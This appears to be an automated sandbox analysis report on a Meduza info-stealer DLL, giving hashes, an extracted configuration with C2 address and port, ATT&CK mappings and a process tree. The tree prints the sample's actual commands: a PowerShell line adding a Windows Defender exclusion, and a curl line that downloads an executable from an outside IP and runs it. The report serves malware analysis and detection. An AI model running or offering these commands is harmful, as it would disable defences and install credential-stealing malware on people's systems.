meduza | 6db74250d83e75eda76a61af409c1987b0cfa6568feb4ff6d4dd1309053b1610

General

Target

iviewers.dll
Size

83KB
MD5

5649b671dabb89dd275575188cd9bf51
SHA1

25f3dbb4fe5c13ea06a43efd8abae7bfd6c0e05c
SHA256

c5c48516e26cd796404e77b9275a976ec4b4f75a70e04ff7781203ee5da59cc1
SHA512

74e5f13719eba0e5fa2750225bcced7a40bb48a02d6df693cd70141219707fb5392851128bff7d0fbb9e471e414e9bd0a34deda2e9de4e9fd456d390374790fc
SSDEEP

1536:ybo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQ/LHWeDCf7/P/:ys5tXVQLRC7iv4qTvcGQS1VQ/jWeDCfb

Score

10^/10

meduza 1 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

1

C2

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
1
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral5/files/0x001c00000002b23a-48.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4504	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
1	5072	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
5748	1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.ipify.org
4	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4504	powershell.exe
4504	powershell.exe
5748	1.exe
5748	1.exe
5748	1.exe
5748	1.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	5748	1.exe
Token: SeImpersonatePrivilege	5748	1.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 1936	796	regsvr32.exe	79
PID 796 wrote to memory of 1936	796	regsvr32.exe	79
PID 796 wrote to memory of 1936	796	regsvr32.exe	79
PID 1936 wrote to memory of 1208	1936	regsvr32.exe	80
PID 1936 wrote to memory of 1208	1936	regsvr32.exe	80
PID 1936 wrote to memory of 1208	1936	regsvr32.exe	80
PID 1208 wrote to memory of 4504	1208	cmd.exe	82
PID 1208 wrote to memory of 4504	1208	cmd.exe	82
PID 1208 wrote to memory of 4504	1208	cmd.exe	82
PID 1936 wrote to memory of 4816	1936	regsvr32.exe	83
PID 1936 wrote to memory of 4816	1936	regsvr32.exe	83
PID 1936 wrote to memory of 4816	1936	regsvr32.exe	83
PID 4816 wrote to memory of 5072	4816	cmd.exe	85
PID 4816 wrote to memory of 5072	4816	cmd.exe	85
PID 4816 wrote to memory of 5072	4816	cmd.exe	85
PID 4816 wrote to memory of 5748	4816	cmd.exe	86
PID 4816 wrote to memory of 5748	4816	cmd.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1208
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\SysWOW64\curl.exe
      curl -o 1.exe http://147.45.44.170/1.exe
      4⤵
      Downloads MZ/PE file
      PID:5072
  - - C:\Windows\Temp\1.exe
      1.exe
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:5748

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnlnt5k3.bcq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\1.exe

Filesize
1.2MB

MD5
40d39e1426b624e504f616d225b8e410

SHA1
d7e633ca620078db8656623b00dddfefc842fe35

SHA256
2e18b0a1b76f84de1008f468cbfb80d95258474e6fa53b20c70da9b974391c9a

SHA512
baf7c93d9ecec4d85923bc7f70378867a82ff8175eb5bb1b20b00121775a201431b880de067980b26af0448c6c83e706b1fb5612e91ca6fbe7f4ea11b6199e25

Download Submit
memory/4504-20-0x0000000070390000-0x00000000703DC000-memory.dmp

Filesize
304KB

Download
memory/4504-40-0x0000000007110000-0x0000000007125000-memory.dmp

Filesize
84KB

Download
memory/4504-4-0x0000000004CD0000-0x0000000004CF2000-memory.dmp

Filesize
136KB

Download
memory/4504-5-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/4504-31-0x0000000006D90000-0x0000000006E34000-memory.dmp

Filesize
656KB

Download
memory/4504-7-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download
memory/4504-3-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download
memory/4504-16-0x00000000056E0000-0x0000000005A37000-memory.dmp

Filesize
3.3MB

Download
memory/4504-17-0x0000000005B70000-0x0000000005B8E000-memory.dmp

Filesize
120KB

Download
memory/4504-18-0x0000000005BB0000-0x0000000005BFC000-memory.dmp

Filesize
304KB

Download
memory/4504-29-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download
memory/4504-30-0x0000000006170000-0x000000000618E000-memory.dmp

Filesize
120KB

Download
memory/4504-2-0x0000000004E60000-0x000000000548A000-memory.dmp

Filesize
6.2MB

Download
memory/4504-0-0x00000000739EE000-0x00000000739EF000-memory.dmp

Filesize
4KB

Download
memory/4504-6-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/4504-32-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download
memory/4504-33-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download
memory/4504-34-0x0000000007510000-0x0000000007B8A000-memory.dmp

Filesize
6.5MB

Download
memory/4504-35-0x0000000006EC0000-0x0000000006EDA000-memory.dmp

Filesize
104KB

Download
memory/4504-36-0x0000000006F40000-0x0000000006F4A000-memory.dmp

Filesize
40KB

Download
memory/4504-37-0x0000000007150000-0x00000000071E6000-memory.dmp

Filesize
600KB

Download
memory/4504-38-0x00000000070D0000-0x00000000070E1000-memory.dmp

Filesize
68KB

Download
memory/4504-39-0x0000000007100000-0x000000000710E000-memory.dmp

Filesize
56KB

Download
memory/4504-19-0x0000000006B50000-0x0000000006B84000-memory.dmp

Filesize
208KB

Download
memory/4504-41-0x0000000007210000-0x000000000722A000-memory.dmp

Filesize
104KB

Download
memory/4504-42-0x0000000007200000-0x0000000007208000-memory.dmp

Filesize
32KB

Download
memory/4504-1-0x00000000026D0000-0x0000000002706000-memory.dmp

Filesize
216KB

Download
memory/4504-49-0x00000000739E0000-0x0000000074191000-memory.dmp

Filesize
7.7MB

Download

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